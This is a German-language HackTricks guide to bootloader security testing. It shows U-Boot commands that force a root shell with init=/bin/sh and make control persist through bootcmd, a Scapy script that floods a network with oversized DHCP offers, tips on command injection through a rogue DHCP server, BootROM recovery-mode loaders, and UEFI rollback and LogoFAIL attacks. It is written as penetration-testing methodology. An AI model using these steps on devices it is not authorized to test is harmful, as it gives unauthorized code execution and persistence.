Bootloader-Tests
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking: 
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
 - Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
 - Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
 
Die folgenden Schritte werden empfohlen, um Geräte-Startkonfigurationen zu ändern und Bootloader wie U-Boot und UEFI-Klassen-Loader zu testen. Konzentriere dich darauf, frühe Code-Ausführung zu erreichen, Signatur-/Rollback-Schutz zu beurteilen und Wiederherstellungs- oder Netzwerk-Boot-Pfade auszunutzen.
Related: MediaTek secure-boot bypass via bl2_ext patching:
Android Mediatek Secure Boot Bl2 Ext Bypass El3
U-Boot: schnelle Erfolge und Environment-Missbrauch
- Auf die Interpreter-Shell zugreifen
 
- Während des Boots eine bekannte Break-Taste drücken (oft jede Taste, 0, Space oder eine board-spezifische "magic"-Sequenz) bevor 
bootcmdausgeführt wird, um an die U-Boot-Eingabeaufforderung zu gelangen. 
- Boot-Zustand und Variablen inspizieren
 
- Nützliche Befehle:
 printenv(dump environment)bdinfo(board info, memory addresses)help bootm; help booti; help bootz(supported kernel boot methods)help ext4load; help fatload; help tftpboot(available loaders)
- Boot-Argumente ändern, um eine Root-Shell zu bekommen
 
- Hänge 
init=/bin/shan, damit der Kernel statt des normalen init eine Shell startet: 
# printenv
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
# saveenv
# boot    # or: run bootcmd
- Netboot von deinem TFTP-Server
 
- Netzwerk konfigurieren und ein Kernel/FIT-Image vom LAN holen:
 
# setenv ipaddr 192.168.2.2      # device IP
# setenv serverip 192.168.2.1    # TFTP server IP
# saveenv; reset
# ping ${serverip}
# tftpboot ${loadaddr} zImage           # kernel
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
# setenv bootargs "${bootargs} init=/bin/sh"
# booti ${loadaddr} - ${fdt_addr_r}
- Änderungen über die Environment persistent machen
 
- Wenn der env-Speicher nicht schreibgeschützt ist, kannst du Kontrolle persistent machen:
 
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
# saveenv
- Prüfe Variablen wie 
bootcount,bootlimit,altbootcmd,boot_targets, die Fallback-Pfade beeinflussen. Fehlkonfigurierte Werte können wiederholte Abbrüche in die Shell ermöglichen. 
- Debug-/unsichere Funktionen prüfen
 
- Achte auf: 
bootdelay> 0,autobootdeaktiviert, uneingeschränktesusb start; fatload usb 0:1 ..., Möglichkeit zuloady/loadsüber Serial,env importvon nicht vertrauenswürdigen Medien, und Kernel/Ramdisks, die ohne Signaturprüfungen geladen werden. 
- U-Boot Image-/Verifikations-Tests
 
- Wenn die Plattform Secure/Verified Boot mit FIT-Images behauptet, teste sowohl unsigned als auch manipulierte Images:
 
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr}     # should FAIL if FIT sig enforced
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr}        # should only boot if key trusted
- Das Fehlen von 
CONFIG_FIT_SIGNATURE/CONFIG_(SPL_)FIT_SIGNATUREoder das alteverify=n-Verhalten erlaubt oft das Booten beliebiger Payloads. 
Netzwerk-Boot-Oberfläche (DHCP/PXE) und bösartige Server
- PXE/DHCP-Parameter-Fuzzing
 
- U-Boots legacy BOOTP/DHCP-Handling hatte Memory-Safety-Probleme. Zum Beispiel beschreibt CVE‑2024‑42040 eine Memory-Disclosure über manipulierte DHCP-Antworten, die Bytes aus dem U-Boot-Speicher auf das Netz zurückleaken können. Teste die DHCP/PXE-Codepfade mit überlangen/Edge-Case-Werten (Option 67 bootfile-name, vendor options, file/servername-Felder) und beobachte auf Hänger und leak.
 - Minimaler Scapy-Snippet, um Boot-Parameter beim Netboot zu stressen:
 
from scapy.all import *
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src='192.168.2.1', dst='255.255.255.255')/
UDP(sport=67, dport=68)/
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
DHCP(options=[('message-type','offer'),
('server_id','192.168.2.1'),
# Intentionally oversized and strange values
('bootfile_name','A'*300),
('vendor_class_id','B'*240),
'end']))
sendp(offer, iface='eth0', loop=1, inter=0.2)
- Prüfe außerdem, ob PXE-Filename-Felder an Shell/Loader-Logik ohne Sanitization weitergegeben werden, wenn sie zu OS-seitigen Provisioning-Skripten weitergereicht werden.
 
- Testen von Kommando-Injektionen durch bösartige DHCP-Server
 
- Richte einen bösartigen DHCP/PXE-Dienst ein und versuche, Zeichen in Filename- oder Options-Felder zu injizieren, um Kommando-Interpreter in späteren Stufen der Boot-Kette zu erreichen. Metasploit’s DHCP auxiliary, 
dnsmasqoder eigene Scapy-Skripts eignen sich gut. Sorge dafür, dass du zuerst das Labornetz isolierst. 
SoC-ROM-Recovery-Modi, die den normalen Boot überschreiben
Viele SoCs bieten einen BootROM-"Loader"-Modus, der Code über USB/UART akzeptiert, selbst wenn Flash-Images ungültig sind. Wenn Secure-Boot-Fuses/OTP nicht gebrannt sind, kann dies sehr früh in der Kette beliebige Code-Ausführung ermöglichen.
- NXP i.MX (Serial Download Mode)
 - Tools: 
uuu(mfgtools3) orimx-usb-loader. - Beispiel: 
imx-usb-loader u-boot.imxum ein custom U-Boot in RAM zu pushen und auszuführen. - Allwinner (FEL)
 - Tool: 
sunxi-fel. - Beispiel: 
sunxi-fel -v uboot u-boot-sunxi-with-spl.binodersunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000. - Rockchip (MaskROM)
 - Tool: 
rkdeveloptool. - Beispiel: 
rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.binum einen Loader zu stageden und ein custom U-Boot hochzuladen. 
Beurteile, ob das Gerät Secure-Boot eFuses/OTP gebrannt hat. Wenn nicht, umgehen BootROM-Download-Modi häufig jede höherstufige Verifikation (U-Boot, kernel, rootfs), indem dein First-Stage-Payload direkt aus SRAM/DRAM ausgeführt wird.
UEFI/PC-Klassen-Bootloader: schnelle Prüfungen
- ESP-Manipulation und Rollback-Tests
 
- Hänge die EFI System Partition (ESP) ein und überprüfe auf Loader-Komponenten: 
EFI/Microsoft/Boot/bootmgfw.efi,EFI/BOOT/BOOTX64.efi,EFI/ubuntu/shimx64.efi,grubx64.efi, vendor logo paths. - Versuche, mit herabgestuften oder bekannten verwundbaren signed Boot-Komponenten zu booten, wenn Secure Boot-Revocations (dbx) nicht aktuell sind. Wenn die Plattform alte shims/bootmanagers weiterhin vertraut, kannst du oft deinen eigenen Kernel oder 
grub.cfgvon der ESP laden, um Persistenz zu erlangen. 
- Boot-Logo-Parsing-Bugs (LogoFAIL-Klasse)
 
- Mehrere OEM/IBV-Firmwares waren verwundbar gegenüber Image-Parsing-Fehlern in DXE, die Boot-Logos verarbeiten. Wenn ein Angreifer ein manipuliertes Image auf die ESP unter einem vendor-spezifischen Pfad legen kann (z.B. 
\EFI\<vendor>\logo\*.bmp) und neu bootet, kann Code-Ausführung während des frühen Boots möglich sein, selbst wenn Secure Boot aktiviert ist. Teste, ob die Plattform nutzergelieferte Logos akzeptiert und ob diese Pfade vom OS beschreibbar sind. 
Hardware-Vorsicht
Sei vorsichtig beim Umgang mit SPI/NAND-Flash während des frühen Boots (z.B. Pins erden, um Reads zu umgehen) und konsultiere stets das Flash-Datenblatt. Fehlzeitig gesetzte Kurzschlüsse können das Gerät oder den Programmer beschädigen.
Hinweise und zusätzliche Tipps
- Probiere 
env export -t ${loadaddr}undenv import -t ${loadaddr}um Environment-Blobs zwischen RAM und Storage zu verschieben; einige Plattformen erlauben das Importieren von env von entfernbaren Medien ohne Authentifizierung. - Für Persistenz auf Linux-basierten Systemen, die via 
extlinux.confbooten, reicht es oft, dieAPPEND-Zeile (uminit=/bin/shoderrd.breakzu injizieren) auf der Boot-Partition zu modifizieren, wenn keine Signaturprüfungen erzwungen werden. - Wenn Userland 
fw_printenv/fw_setenvbereitstellt, validiere, dass/etc/fw_env.configmit dem echten env-Speicher übereinstimmt. Fehlkonfigurierte Offsets erlauben das Lesen/Schreiben der falschen MTD-Region. 
Referenzen
- https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
 - https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot
 - https://nvd.nist.gov/vuln/detail/CVE-2024-42040
 
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking: 
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
 - Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
 - Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
 
HackTricks